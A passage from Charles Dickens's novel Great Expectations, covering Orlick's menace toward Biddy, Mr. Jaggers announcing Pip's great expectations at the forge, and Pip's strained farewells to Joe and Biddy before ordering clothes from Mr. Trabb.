could +put me right." + +"I wish I could!" said Biddy. + +"If I could only get myself to fall in love with you - you don't +mind my speaking so openly to such an old acquaintance?" + +"Oh dear, not at all!" said Biddy. "Don't mind me." + +"If I could only get myself to do it, that would be the thing for +me." + +"But you never will, you see," said Biddy. + +It did not appear quite so unlikely to me that evening, as it would +have done if we had discussed it a few hours before. I therefore +observed I was not quite sure of that. But Biddy said she was, and +she said it decisively. In my heart I believed her to be right; and +yet I took it rather ill, too, that she should be so positive on +the point. + +When we came near the churchyard, we had to cross an embankment, +and get over a stile near a sluice gate. There started up, from the +gate, or from the rushes, or from the ooze (which was quite in his +stagnant way), Old Orlick. + +"Halloa!" he growled, "where are you two going?" + +"Where should we be going, but home?" + +"Well then," said he, "I'm jiggered if I don't see you home!" + +This penalty of being jiggered was a favourite supposititious case +of his. He attached no definite meaning to the word that I am aware +of, but used it, like his own pretended Christian name, to affront +mankind, and convey an idea of something savagely damaging. When I +was younger, I had had a general belief that if he had jiggered me +personally, he would have done it with a sharp and twisted hook. + +Biddy was much against his going with us, and said to me in a +whisper, "Don't let him come; I don't like him." As I did not like +him either, I took the liberty of saying that we thanked him, but +we didn't want seeing home. He received that piece of information +with a yell of laughter, and dropped back, but came slouching after +us at a little distance. + +Curious to know whether Biddy suspected him of having had a hand in +that murderous attack of which my sister had never been able to +give any account, I asked her why she did not like him. + +"Oh!" she replied, glancing over her shoulder as he slouched after +us, "because I - I am afraid he likes me." + +"Did he ever tell you he liked you?" I asked, indignantly. + +"No," said Biddy, glancing over her shoulder again, "he never told +me so; but he dances at me, whenever he can catch my eye." + +However novel and peculiar this testimony of attachment, I did not +doubt the accuracy of the interpretation. I was very hot indeed +upon Old Orlick's daring to admire her; as hot as if it were an +outrage on myself. + +"But it makes no difference to you, you know," said Biddy, calmly. + +"No, Biddy, it makes no difference to me; only I don't like it; I +don't approve of it." + +"Nor I neither," said Biddy. "Though that makes no difference to +you." + +"Exactly," said I; "but I must tell you I should have no opinion of +you, Biddy, if he danced at you with your own consent." + +I kept an eye on Orlick after that night, and, whenever +circumstances were favourable to his dancing at Biddy, got before +him, to obscure that demonstration. He had struck root in Joe's +establishment, by reason of my sister's sudden fancy for him, or I +should have tried to get him dismissed. He quite understood and +reciprocated my good intentions, as I had reason to know +thereafter. + +And now, because my mind was not confused enough before, I +complicated its confusion fifty thousand-fold, by having states and +seasons when I was clear that Biddy was immeasurably better than +Estella, and that the plain honest working life to which I was +born, had nothing in it to be ashamed of, but offered me sufficient +means of self-respect and happiness. At those times, I would decide +conclusively that my disaffection to dear old Joe and the forge, +was gone, and that I was growing up in a fair way to be partners +with Joe and to keep company with Biddy - when all in a moment some +confounding remembrance of the Havisham days would fall upon me, +like a destructive missile, and scatter my wits again. Scattered +wits take a long time picking up; and often, before I had got them +well together, they would be dispersed in all directions by one +stray thought, that perhaps after all Miss Havisham was going to +make my fortune when my time was out. + +If my time had run out, it would have left me still at the height +of my perplexities, I dare say. It never did run out, however, but +was brought to a premature end, as I proceed to relate. + + +Chapter 18 + +It was in the fourth year of my apprenticeship to Joe, and it was a +Saturday night. There was a group assembled round the fire at the +Three Jolly Bargemen, attentive to Mr. Wopsle as he read the +newspaper aloud. Of that group I was one. + +A highly popular murder had been committed, and Mr. Wopsle was +imbrued in blood to the eyebrows. He gloated over every abhorrent +adjective in the description, and identified himself with every +witness at the Inquest. He faintly moaned, "I am done for," as the +victim, and he barbarously bellowed, "I'll serve you out," as the +murderer. He gave the medical testimony, in pointed imitation of +our local practitioner; and he piped and shook, as the aged +turnpike-keeper who had heard blows, to an extent so very paralytic +as to suggest a doubt regarding the mental competency of that +witness. The coroner, in Mr. Wopsle's hands, became Timon of Athens; +the beadle, Coriolanus. He enjoyed himself thoroughly, and we all +enjoyed ourselves, and were delightfully comfortable. In this cozy +state of mind we came to the verdict Wilful Murder. + +Then, and not sooner, I became aware of a strange gentleman leaning +over the back of the settle opposite me, looking on. There was an +expression of contempt on his face, and he bit the side of a great +forefinger as he watched the group of faces. + +"Well!" said the stranger to Mr. Wopsle, when the reading was done, +"you have settled it all to your own satisfaction, I have no +doubt?" + +Everybody started and looked up, as if it were the murderer. He +looked at everybody coldly and sarcastically. + +"Guilty, of course?" said he. "Out with it. Come!" + +"Sir," returned Mr. Wopsle, "without having the honour of your +acquaintance, I do say Guilty." Upon this, we all took courage to +unite in a confirmatory murmur. + +"I know you do," said the stranger; "I knew you would. I told you +so. But now I'll ask you a question. Do you know, or do you not +know, that the law of England supposes every man to be innocent, +until he is proved - proved - to be guilty?" + +"Sir," Mr. Wopsle began to reply, "as an Englishman myself, I--" + +"Come!" said the stranger, biting his forefinger at him. "Don't +evade the question. Either you know it, or you don't know it. Which +is it to be?" + +He stood with his head on one side and himself on one side, in a +bullying interrogative manner, and he threw his forefinger at Mr. +Wopsle - as it were to mark him out - before biting it again. + +"Now!" said he. "Do you know it, or don't you know it?" + +"Certainly I know it," replied Mr. Wopsle. + +"Certainly you know it. Then why didn't you say so at first? Now, +I'll ask you another question;" taking possession of Mr. Wopsle, as +if he had a right to him. "Do you know that none of these witnesses +have yet been cross-examined?" + +Mr. Wopsle was beginning, "I can only say--" when the stranger +stopped him. + +"What? You won't answer the question, yes or no? Now, I'll try you +again." Throwing his finger at him again. "Attend to me. Are you +aware, or are you not aware, that none of these witnesses have yet +been cross-examined? Come, I only want one word from you. Yes, or +no?" + +Mr. Wopsle hesitated, and we all began to conceive rather a poor +opinion of him. + +"Come!" said the stranger, "I'll help you. You don't deserve help, +but I'll help you. Look at that paper you hold in your hand. What +is it?" + +"What is it?" repeated Mr. Wopsle, eyeing it, much at a loss. + +"Is it," pursued the stranger in his most sarcastic and suspicious +manner, "the printed paper you have just been reading from?" + +"Undoubtedly." + +"Undoubtedly. Now, turn to that paper, and tell me whether it +distinctly states that the prisoner expressly said that his legal +advisers instructed him altogether to reserve his defence?" + +"I read that just now," Mr. Wopsle pleaded. + +"Never mind what you read just now, sir; I don't ask you what you +read just now. You may read the Lord's Prayer backwards, if you +like - and, perhaps, have done it before to-day. Turn to the paper. +No, no, no my friend; not to the top of the column; you know better +than that; to the bottom, to the bottom." (We all began to think Mr. +Wopsle full of subterfuge.) "Well? Have you found it?" + +"Here it is," said Mr. Wopsle. + +"Now, follow that passage with your eye, and tell me whether it +distinctly states that the prisoner expressly said that he was +instructed by his legal advisers wholly to reserve his defence? +Come! Do you make that of it?" + +Mr. Wopsle answered, "Those are not the exact words." + +"Not the exact words!" repeated the gentleman, bitterly. "Is that +the exact substance?" + +"Yes," said Mr. Wopsle. + +"Yes," repeated the stranger, looking round at the rest of the +company with his right hand extended towards the witness, Wopsle. +"And now I ask you what you say to the conscience of that man who, +with that passage before his eyes, can lay his head upon his pillow +after having pronounced a fellow-creature guilty, unheard?" + +We all began to suspect that Mr. Wopsle was not the man we had +thought him, and that he was beginning to be found out. + +"And that same man, remember," pursued the gentleman, throwing his +finger at Mr. Wopsle heavily; "that same man might be summoned as a +juryman upon this very trial, and, having thus deeply committed +himself, might return to the bosom of his family and lay his head +upon his pillow, after deliberately swearing that he would well and +truly try the issue joined between Our Sovereign Lord the King and +the prisoner at the bar, and would a true verdict give according to +the evidence, so help him God!" + +We were all deeply persuaded that the unfortunate Wopsle had gone +too far, and had better stop in his reckless career while there was +yet time. + +The strange gentleman, with an air of authority not to be disputed, +and with a manner expressive of knowing something secret about +every one of us that would effectually do for each individual if he +chose to disclose it, left the back of the settle, and came into +the space between the two settles, in front of the fire, where he +remained standing: his left hand in his pocket, and he biting the +forefinger of his right. + +"From information I have received," said he, looking round at us as +we all quailed before him, "I have reason to believe there is a +blacksmith among you, by name Joseph - or Joe - Gargery. Which is +the man?" + +"Here is the man," said Joe. + +The strange gentleman beckoned him out of his place, and Joe went. + +"You have an apprentice," pursued the stranger, "commonly known as +Pip? Is he here?" + +"I am here!" I cried. + +The stranger did not recognize me, but I recognized him as the +gentleman I had met on the stairs, on the occasion of my second +visit to Miss Havisham. I had known him the moment I saw him +looking over the settle, and now that I stood confronting him with +his hand upon my shoulder, I checked off again in detail, his large +head, his dark complexion, his deep-set eyes, his bushy black +eyebrows, his large watch-chain, his strong black dots of beard and +whisker, and even the smell of scented soap on his great hand. + +"I wish to have a private conference with you two," said he, when +he had surveyed me at his leisure. "It will take a little time. +Perhaps we had better go to your place of residence. I prefer not +to anticipate my communication here; you will impart as much or as +little of it as you please to your friends afterwards; I have +nothing to do with that." + +Amidst a wondering silence, we three walked out of the Jolly +Bargemen, and in a wondering silence walked home. While going +along, the strange gentleman occasionally looked at me, and +occasionally bit the side of his finger. As we neared home, Joe +vaguely acknowledging the occasion as an impressive and ceremonious +one, went on ahead to open the front door. Our conference was held +in the state parlour, which was feebly lighted by one candle. + +It began with the strange gentleman's sitting down at the table, +drawing the candle to him, and looking over some entries in his +pocket-book. He then put up the pocket-book and set the candle a +little aside: after peering round it into the darkness at Joe and +me, to ascertain which was which. + +"My name," he said, "is Jaggers, and I am a lawyer in London. I am +pretty well known. I have unusual business to transact with you, +and I commence by explaining that it is not of my originating. If +my advice had been asked, I should not have been here. It was not +asked, and you see me here. What I have to do as the confidential +agent of another, I do. No less, no more." + +Finding that he could not see us very well from where he sat, he +got up, and threw one leg over the back of a chair and leaned upon +it; thus having one foot on the seat of the chair, and one foot on +the ground. + +"Now, Joseph Gargery, I am the bearer of an offer to relieve you of +this young fellow your apprentice. You would not object to cancel +his indentures, at his request and for his good? You would want +nothing for so doing?" + +"Lord forbid that I should want anything for not standing in Pip's +way," said Joe, staring. + +"Lord forbidding is pious, but not to the purpose," returned Mr +Jaggers. "The question is, Would you want anything? Do you want +anything?" + +"The answer is," returned Joe, sternly, "No." + +I thought Mr. Jaggers glanced at Joe, as if he considered him a fool +for his disinterestedness. But I was too much bewildered between +breathless curiosity and surprise, to be sure of it. + +"Very well," said Mr. Jaggers. "Recollect the admission you have +made, and don't try to go from it presently." + +"Who's a-going to try?" retorted Joe. + +"I don't say anybody is. Do you keep a dog?" + +"Yes, I do keep a dog." + +"Bear in mind then, that Brag is a good dog, but Holdfast is a +better. Bear that in mind, will you?" repeated Mr. Jaggers, shutting +his eyes and nodding his head at Joe, as if he were forgiving him +something. "Now, I return to this young fellow. And the +communication I have got to make is, that he has great +expectations." + +Joe and I gasped, and looked at one another. + +"I am instructed to communicate to him," said Mr. Jaggers, throwing +his finger at me sideways, "that he will come into a handsome +property. Further, that it is the desire of the present possessor +of that property, that he be immediately removed from his present +sphere of life and from this place, and be brought up as a +gentleman - in a word, as a young fellow of great expectations." + +My dream was out; my wild fancy was surpassed by sober reality; +Miss Havisham was going to make my fortune on a grand scale. + +"Now, Mr. Pip," pursued the lawyer, "I address the rest of what I +have to say, to you. You are to understand, first, that it is the +request of the person from whom I take my instructions, that you +always bear the name of Pip. You will have no objection, I dare +say, to your great expectations being encumbered with that easy +condition. But if you have any objection, this is the time to +mention it." + +My heart was beating so fast, and there was such a singing in my +ears, that I could scarcely stammer I had no objection. + +"I should think not! Now you are to understand, secondly, Mr. Pip, +that the name of the person who is your liberal benefactor remains +a profound secret, until the person chooses to reveal it. I am +empowered to mention that it is the intention of the person to +reveal it at first hand by word of mouth to yourself. When or where +that intention may be carried out, I cannot say; no one can say. It +may be years hence. Now, you are distinctly to understand that you +are most positively prohibited from making any inquiry on this +head, or any allusion or reference, however distant, to any +individual whomsoever as the individual, in all the communications +you may have with me. If you have a suspicion in your own breast, +keep that suspicion in your own breast. It is not the least to the +purpose what the reasons of this prohibition are; they may be the +strongest and gravest reasons, or they may be mere whim. This is +not for you to inquire into. The condition is laid down. Your +acceptance of it, and your observance of it as binding, is the only +remaining condition that I am charged with, by the person from whom +I take my instructions, and for whom I am not otherwise +responsible. That person is the person from whom you derive your +expectations, and the secret is solely held by that person and by +me. Again, not a very difficult condition with which to encumber +such a rise in fortune; but if you have any objection to it, this +is the time to mention it. Speak out." + +Once more, I stammered with difficulty that I had no objection. + +"I should think not! Now, Mr. Pip, I have done with stipulations." +Though he called me Mr. Pip, and began rather to make up to me, he +still could not get rid of a certain air of bullying suspicion; and +even now he occasionally shut his eyes and threw his finger at me +while he spoke, as much as to express that he knew all kinds of +things to my disparagement, if he only chose to mention them. "We +come next, to mere details of arrangement. You must know that, +although I have used the term "expectations" more than once, you +are not endowed with expectations only. There is already lodged in +my hands, a sum of money amply sufficient for your suitable +education and maintenance. You will please consider me your +guardian. Oh!" for I was going to thank him, "I tell you at once, I +am paid for my services, or I shouldn't render them. It is +considered that you must be better educated, in accordance with +your altered position, and that you will be alive to the importance +and necessity of at once entering on that advantage." + +I said I had always longed for it. + +"Never mind what you have always longed for, Mr. Pip," he retorted; +"keep to the record. If you long for it now, that's enough. Am I +answered that you are ready to be placed at once, under some proper +tutor? Is that it?" + +I stammered yes, that was it. + +"Good. Now, your inclinations are to be consulted. I don't think +that wise, mind, but it's my trust. Have you ever heard of any +tutor whom you would prefer to another?" + +I had never heard of any tutor but Biddy and Mr. Wopsle's greataunt; +so, I replied in the negative. + +"There is a certain tutor, of whom I have some knowledge, who I +think might suit the purpose," said Mr. Jaggers. "I don't recommend +him, observe; because I never recommend anybody. The gentleman I +speak of, is one Mr. Matthew Pocket." + +Ah! I caught at the name directly. Miss Havisham's relation. The +Matthew whom Mr. and Mrs. Camilla had spoken of. The Matthew whose +place was to be at Miss Havisham's head, when she lay dead, in her +bride's dress on the bride's table. + +"You know the name?" said Mr. Jaggers, looking shrewdly at me, and +then shutting up his eyes while he waited for my answer. + +My answer was, that I had heard of the name. + +"Oh!" said he. "You have heard of the name. But the question is, +what do you say of it?" + +I said, or tried to say, that I was much obliged to him for his +recommendation-- + +"No, my young friend!" he interrupted, shaking his great head very +slowly. "Recollect yourself!" + +Not recollecting myself, I began again that I was much obliged to +him for his recommendation-- + +"No, my young friend," he interrupted, shaking his head and +frowning and smiling both at once; "no, no, no; it's very well +done, but it won't do; you are too young to fix me with it. +Recommendation is not the word, Mr. Pip. Try another." + +Correcting myself, I said that I was much obliged to him for his +mention of Mr. Matthew Pocket-- + +"That's more like it!" cried Mr. Jaggers. + +- And (I added), I would gladly try that gentleman. + +"Good. You had better try him in his own house. The way shall be +prepared for you, and you can see his son first, who is in London. +When will you come to London?" + +I said (glancing at Joe, who stood looking on, motionless), that I +supposed I could come directly. + +"First," said Mr. Jaggers, "you should have some new clothes to come +in, and they should not be working clothes. Say this day week. +You'll want some money. Shall I leave you twenty guineas?" + +He produced a long purse, with the greatest coolness, and counted +them out on the table and pushed them over to me. This was the +first time he had taken his leg from the chair. He sat astride of +the chair when he had pushed the money over, and sat swinging his +purse and eyeing Joe. + +"Well, Joseph Gargery? You look dumbfoundered?" + +"I am!" said Joe, in a very decided manner. + +"It was understood that you wanted nothing for yourself, remember?" + +"It were understood," said Joe. "And it are understood. And it ever +will be similar according." + +"But what," said Mr. Jaggers, swinging his purse, "what if it was in +my instructions to make you a present, as compensation?" + +"As compensation what for?" Joe demanded. + +"For the loss of his services." + +Joe laid his hand upon my shoulder with the touch of a woman. I +have often thought him since, like the steam-hammer, that can crush +a man or pat an egg-shell, in his combination of strength with +gentleness. "Pip is that hearty welcome," said Joe, "to go free +with his services, to honour and fortun', as no words can tell him. +But if you think as Money can make compensation to me for the loss +of the little child - what come to the forge - and ever the best of +friends!--" + +O dear good Joe, whom I was so ready to leave and so unthankful to, +I see you again, with your muscular blacksmith's arm before your +eyes, and your broad chest heaving, and your voice dying away. O +dear good faithful tender Joe, I feel the loving tremble of your +hand upon my arm, as solemnly this day as if it had been the rustle +of an angel's wing! + +But I encouraged Joe at the time. I was lost in the mazes of my +future fortunes, and could not retrace the by-paths we had trodden +together. I begged Joe to be comforted, for (as he said) we had +ever been the best of friends, and (as I said) we ever would be so. +Joe scooped his eyes with his disengaged wrist, as if he were bent +on gouging himself, but said not another word. + +Mr. Jaggers had looked on at this, as one who recognized in Joe the +village idiot, and in me his keeper. When it was over, he said, +weighing in his hand the purse he had ceased to swing: + +"Now, Joseph Gargery, I warn you this is your last chance. No half +measures with me. If you mean to take a present that I have it in +charge to make you, speak out, and you shall have it. If on the +contrary you mean to say--" Here, to his great amazement, he was +stopped by Joe's suddenly working round him with every +demonstration of a fell pugilistic purpose. + +"Which I meantersay," cried Joe, "that if you come into my place +bull-baiting and badgering me, come out! Which I meantersay as sech +if you're a man, come on! Which I meantersay that what I say, I +meantersay and stand or fall by!" + +I drew Joe away, and he immediately became placable; merely stating +to me, in an obliging manner and as a polite expostulatory notice +to any one whom it might happen to concern, that he were not a +going to be bull-baited and badgered in his own place. Mr. Jaggers +had risen when Joe demonstrated, and had backed near the door. +Without evincing any inclination to come in again, he there +delivered his valedictory remarks. They were these: + +"Well, Mr. Pip, I think the sooner you leave here - as you are to be +a gentleman - the better. Let it stand for this day week, and you +shall receive my printed address in the meantime. You can take a +hackney-coach at the stage-coach office in London, and come +straight to me. Understand, that I express no opinion, one way or +other, on the trust I undertake. I am paid for undertaking it, and +I do so. Now, understand that, finally. Understand that!" + +He was throwing his finger at both of us, and I think would have +gone on, but for his seeming to think Joe dangerous, and going off. + +Something came into my head which induced me to run after him, as +he was going down to the Jolly Bargemen where he had left a hired +carriage. + +"I beg your pardon, Mr. Jaggers." + +"Halloa!" said he, facing round, "what's the matter?" + +"I wish to be quite right, Mr. Jaggers, and to keep to your +directions; so I thought I had better ask. Would there be any +objection to my taking leave of any one I know, about here, before +I go away?" + +"No," said he, looking as if he hardly understood me. + +"I don't mean in the village only, but up-town?" + +"No," said he. "No objection." + +I thanked him and ran home again, and there I found that Joe had +already locked the front door and vacated the state parlour, and +was seated by the kitchen fire with a hand on each knee, gazing +intently at the burning coals. I too sat down before the fire and +gazed at the coals, and nothing was said for a long time. + +My sister was in her cushioned chair in her corner, and Biddy sat +at her needlework before the fire, and Joe sat next Biddy, and I +sat next Joe in the corner opposite my sister. The more I looked +into the glowing coals, the more incapable I became of looking at +Joe; the longer the silence lasted, the more unable I felt to +speak. + +At length I got out, "Joe, have you told Biddy?" + +"No, Pip," returned Joe, still looking at the fire, and holding his +knees tight, as if he had private information that they intended to +make off somewhere, "which I left it to yourself, Pip." + +"I would rather you told, Joe." + +"Pip's a gentleman of fortun' then," said Joe, "and God bless him +in it!" + +Biddy dropped her work, and looked at me. Joe held his knees and +looked at me. I looked at both of them. After a pause, they both +heartily congratulated me; but there was a certain touch of sadness +in their congratulations, that I rather resented. + +I took it upon myself to impress Biddy (and through Biddy, Joe) +with the grave obligation I considered my friends under, to know +nothing and say nothing about the maker of my fortune. It would all +come out in good time, I observed, and in the meanwhile nothing was +to be said, save that I had come into great expectations from a +mysterious patron. Biddy nodded her head thoughtfully at the fire +as she took up her work again, and said she would be very +particular; and Joe, still detaining his knees, said, "Ay, ay, I'll +be ekervally partickler, Pip;" and then they congratulated me +again, and went on to express so much wonder at the notion of my +being a gentleman, that I didn't half like it. + +Infinite pains were then taken by Biddy to convey to my sister some +idea of what had happened. To the best of my belief, those efforts +entirely failed. She laughed and nodded her head a great many +times, and even repeated after Biddy, the words "Pip" and +"Property." But I doubt if they had more meaning in them than an +election cry, and I cannot suggest a darker picture of her state of +mind. + +I never could have believed it without experience, but as Joe and +Biddy became more at their cheerful ease again, I became quite +gloomy. Dissatisfied with my fortune, of course I could not be; but +it is possible that I may have been, without quite knowing it, +dissatisfied with myself. + +Anyhow, I sat with my elbow on my knee and my face upon my hand, +looking into the fire, as those two talked about my going away, and +about what they should do without me, and all that. And whenever I +caught one of them looking at me, though never so pleasantly (and +they often looked at me - particularly Biddy), I felt offended: as +if they were expressing some mistrust of me. Though Heaven knows +they never did by word or sign. + +At those times I would get up and look out at the door; for, our +kitchen door opened at once upon the night, and stood open on +summer evenings to air the room. The very stars to which I then +raised my eyes, I am afraid I took to be but poor and humble stars +for glittering on the rustic objects among which I had passed my +life. + +"Saturday night," said I, when we sat at our supper of +bread-and-cheese and beer. "Five more days, and then the day before +the day! They'll soon go." + +"Yes, Pip," observed Joe, whose voice sounded hollow in his beer +mug. "They'll soon go." + +"Soon, soon go," said Biddy. + +"I have been thinking, Joe, that when I go down town on Monday, and +order my new clothes, I shall tell the tailor that I'll come and +put them on there, or that I'll have them sent to Mr. Pumblechook's. +It would be very disagreeable to be stared at by all the people +here." + +"Mr. and Mrs. Hubble might like to see you in your new genteel figure +too, Pip," said Joe, industriously cutting his bread, with his +cheese on it, in the palm of his left hand, and glancing at my +untasted supper as if he thought of the time when we used to +compare slices. "So might Wopsle. And the Jolly Bargemen might take +it as a compliment." + +"That's just what I don't want, Joe. They would make such a +business of it - such a coarse and common business - that I +couldn't bear myself." + +"Ah, that indeed, Pip!" said Joe. "If you couldn't abear +yourself--" + +Biddy asked me here, as she sat holding my sister's plate, "Have +you thought about when you'll show yourself to Mr. Gargery, and your +sister, and me? You will show yourself to us; won't you?" + +"Biddy," I returned with some resentment, "you are so exceedingly +quick that it's difficult to keep up with you." + +("She always were quick," observed Joe.) + +"If you had waited another moment, Biddy, you would have heard me +say that I shall bring my clothes here in a bundle one evening - +most likely on the evening before I go away." + +Biddy said no more. Handsomely forgiving her, I soon exchanged an +affectionate good-night with her and Joe, and went up to bed. When +I got into my little room, I sat down and took a long look at it, +as a mean little room that I should soon be parted from and raised +above, for ever, It was furnished with fresh young remembrances +too, and even at the same moment I fell into much the same confused +division of mind between it and the better rooms to which I was +going, as I had been in so often between the forge and Miss +Havisham's, and Biddy and Estella. + +The sun had been shining brightly all day on the roof of my attic, +and the room was warm. As I put the window open and stood looking +out, I saw Joe come slowly forth at the dark door below, and take a +turn or two in the air; and then I saw Biddy come, and bring him a +pipe and light it for him. He never smoked so late, and it seemed +to hint to me that he wanted comforting, for some reason or other. + +He presently stood at the door immediately beneath me, smoking his +pipe, and Biddy stood there too, quietly talking to him, and I knew +that they talked of me, for I heard my name mentioned in an +endearing tone by both of them more than once. I would not have +listened for more, if I could have heard more: so, I drew away from +the window, and sat down in my one chair by the bedside, feeling it +very sorrowful and strange that this first night of my bright +fortunes should be the loneliest I had ever known. + +Looking towards the open window, I saw light wreaths from Joe's +pipe floating there, and I fancied it was like a blessing from Joe +- not obtruded on me or paraded before me, but pervading the air we +shared together. I put my light out, and crept into bed; and it was +an uneasy bed now, and I never slept the old sound sleep in it any +more. + + +Chapter 19 + +Morning made a considerable difference in my general prospect of +Life, and brightened it so much that it scarcely seemed the same. +What lay heaviest on my mind, was, the consideration that six days +intervened between me and the day of departure; for, I could not +divest myself of a misgiving that something might happen to London +in the meanwhile, and that, when I got there, it would be either +greatly deteriorated or clean gone. + +Joe and Biddy were very sympathetic and pleasant when I spoke of +our approaching separation; but they only referred to it when I +did. After breakfast, Joe brought out my indentures from the press +in the best parlour, and we put them in the fire, and I felt that I +was free. With all the novelty of my emancipation on me, I went to +church with Joe, and thought, perhaps the clergyman wouldn't have +read that about the rich man and the kingdom of Heaven, if he had +known all. + +After our early dinner I strolled out alone, purposing to finish +off the marshes at once, and get them done with. As I passed the +church, I felt (as I had felt during service in the morning) a +sublime compassion for the poor creatures who were destined to go +there, Sunday after Sunday, all their lives through, and to lie +obscurely at last among the low green mounds. I promised myself +that I would do something for them one of these days, and formed a +plan in outline for bestowing a dinner of roast-beef and +plumpudding, a pint of ale, and a gallon of condescension, upon +everybody in the village. + +If I had often thought before, with something allied to shame, of +my companionship with the fugitive whom I had once seen limping +among those graves, what were my thoughts on this Sunday, when the +place recalled the wretch, ragged and shivering, with his felon +iron and badge! My comfort was, that it happened a long time ago, +and that he had doubtless been transported a long way off, and that +he was dead to me, and might be veritably dead into the bargain. + +No more low wet grounds, no more dykes and sluices, no more of +these grazing cattle - though they seemed, in their dull manner, to +wear a more respectful air now, and to face round, in order that +they might stare as long as possible at the possessor of such great +expectations - farewell, monotonous acquaintances of my childhood, +henceforth I was for London and greatness: not for smith's work in +general and for you! I made my exultant way to the old Battery, +and, lying down there to consider the question whether Miss +Havisham intended me for Estella, fell asleep. + +When I awoke, I was much surprised to find Joe sitting beside me, +smoking his pipe. He greeted me with a cheerful smile on my opening +my eyes, and said: + +"As being the last time, Pip, I thought I'd foller." + +"And Joe, I am very glad you did so." + +"Thankee, Pip." + +"You may be sure, dear Joe," I went on, after we had shaken hands, +"that I shall never forget you." + +"No, no, Pip!" said Joe, in a comfortable tone, "I'm sure of that. +Ay, ay, old chap! Bless you, it were only necessary to get it well +round in a man's mind, to be certain on it. But it took a bit of +time to get it well round, the change come so oncommon plump; +didn't it?" + +Somehow, I was not best pleased with Joe's being so mightily secure +of me. I should have liked him to have betrayed emotion, or to have +said, "It does you credit, Pip," or something of that sort. +Therefore, I made no remark on Joe's first head: merely saying as +to his second, that the tidings had indeed come suddenly, but that +I had always wanted to be a gentleman, and had often and often +speculated on what I would do, if I were one. + +"Have you though?" said Joe. "Astonishing!" + +"It's a pity now, Joe," said I, "that you did not get on a little +more, when we had our lessons here; isn't it?" + +"Well, I don't know," returned Joe. "I'm so awful dull. I'm only +master of my own trade. It were always a pity as I was so awful +dull; but it's no more of a pity now, than it was - this day +twelvemonth - don't you see?" + +What I had meant was, that when I came into my property and was +able to do something for Joe, it would have been much more +agreeable if he had been better qualified for a rise in station. He +was so perfectly innocent of my meaning, however, that I thought I +would mention it to Biddy in preference. + +So, when we had walked home and had had tea, I took Biddy into our +little garden by the side of the lane, and, after throwing out in a +general way for the elevation of her spirits, that I should never +forget her, said I had a favour to ask of her. + +"And it is, Biddy," said I, "that you will not omit any opportunity +of helping Joe on, a little." + +"How helping him on?" asked Biddy, with a steady sort of glance. + +"Well! Joe is a dear good fellow - in fact, I think he is the +dearest fellow that ever lived - but he is rather backward in some +things. For instance, Biddy, in his learning and his manners." + +Although I was looking at Biddy as I spoke, and although she opened +her eyes very wide when I had spoken, she did not look at me. + +"Oh, his manners! won't his manners do, then?" asked Biddy, +plucking a black-currant leaf. + +"My dear Biddy, they do very well here--" + +"Oh! they do very well here?" interrupted Biddy, looking closely at +the leaf in her hand. + +"Hear me out - but if I were to remove Joe into a higher sphere, as +I shall hope to remove him when I fully come into my property, they +would hardly do him justice." + +"And don't you think he knows that?" asked Biddy. + +It was such a very provoking question (for it had never in the most +distant manner occurred to me), that I said, snappishly, "Biddy, +what do you mean?" + +Biddy having rubbed the leaf to pieces between her hands - and the +smell of a black-currant bush has ever since recalled to me that +evening in the little garden by the side of the lane - said, "Have +you never considered that he may be proud?" + +"Proud?" I repeated, with disdainful emphasis. + +"Oh! there are many kinds of pride," said Biddy, looking full at me +and shaking her head; "pride is not all of one kind--" + +"Well? What are you stopping for?" said I. + +"Not all of one kind," resumed Biddy. "He may be too proud to let +any one take him out of a place that he is competent to fill, and +fills well and with respect. To tell you the truth, I think he is: +though it sounds bold in me to say so, for you must know him far +better than I do." + +"Now, Biddy," said I, "I am very sorry to see this in you. I did +not expect to see this in you. You are envious, Biddy, and +grudging. You are dissatisfied on account of my rise in fortune, +and you can't help showing it." + +"If you have the heart to think so," returned Biddy, "say so. Say +so over and over again, if you have the heart to think so." + +"If you have the heart to be so, you mean, Biddy," said I, in a +virtuous and superior tone; "don't put it off upon me. I am very +sorry to see it, and it's a - it's a bad side of human nature. I +did intend to ask you to use any little opportunities you might +have after I was gone, of improving dear Joe. But after this, I ask +you nothing. I am extremely sorry to see this in you, Biddy," I +repeated. "It's a - it's a bad side of human nature." + +"Whether you scold me or approve of me," returned poor Biddy, "you +may equally depend upon my trying to do all that lies in my power, +here, at all times. And whatever opinion you take away of me, shall +make no difference in my remembrance of you. Yet a gentleman should +not be unjust neither," said Biddy, turning away her head. + +I again warmly repeated that it was a bad side of human nature (in +which sentiment, waiving its application, I have since seen reason +to think I was right), and I walked down the little path away from +Biddy, and Biddy went into the house, and I went out at the garden +gate and took a dejected stroll until supper-time; again feeling it +very sorrowful and strange that this, the second night of my bright +fortunes, should be as lonely and unsatisfactory as the first. + +But, morning once more brightened my view, and I extended my +clemency to Biddy, and we dropped the subject. Putting on the best +clothes I had, I went into town as early as I could hope to find +the shops open, and presented myself before Mr. Trabb, the tailor: +who was having his breakfast in the parlour behind his shop, and +who did not think it worth his while to come out to me, but called +me in to him. + +"Well!" said Mr. Trabb, in a hail-fellow-well-met kind of way. "How +are you, and what can I do for you?" + +Mr. Trabb had sliced his hot roll into three feather beds, and was +slipping butter in between the blankets, and covering it up. He was +a prosperous old bachelor, and his open window looked into a +prosperous little garden and orchard, and there was a prosperous +iron safe let into the wall at the side of his fireplace, and I did +not doubt that heaps of his prosperity were put away in it in bags. + +"Mr. Trabb," said I, "it's an unpleasant thing to have to mention, +because it looks like boasting; but I have come into a handsome +property." + +A change passed over Mr. Trabb. He forgot the butter in bed, got up +from the bedside, and wiped his fingers on the table-cloth, +exclaiming, "Lord bless my soul!" + +"I am going up to my guardian in London," said I, casually drawing +some guineas out of my pocket and looking at them; "and I want a +fashionable suit of clothes to go in. I wish to pay for them," I +added - otherwise I thought he might only pretend to make them - +"with ready money." + +"My dear sir," said Mr. Trabb, as he respectfully bent his body, +opened his arms, and took the liberty of touching me on the outside +of each elbow, "don't hurt me by mentioning that. May I venture to +congratulate you? Would you do me the favour of stepping into the +shop?" + +Mr. Trabb's boy was the most audacious boy in all that countryside. +When I had entered he was sweeping the shop, and he had sweetened +his labours by sweeping over me. He was still sweeping when I came +out into the shop with Mr. Trabb, and he knocked the broom against +all possible corners and obstacles, to express (as I understood it) +equality with any blacksmith, alive or dead. + +"Hold that noise," said Mr. Trabb, with the greatest sternness, "or +I'll knock your head off! Do me the favour to be seated, sir. Now, +this," said Mr. Trabb, taking down a roll of cloth, and tiding it +out in a flowing manner over the counter, preparatory to getting +his hand under it to show the gloss, "is a very sweet article. I +can recommend it for your purpose, sir, because it really is extra +super. But you shall see some others. Give me Number Four, you!" +(To the boy, and with a 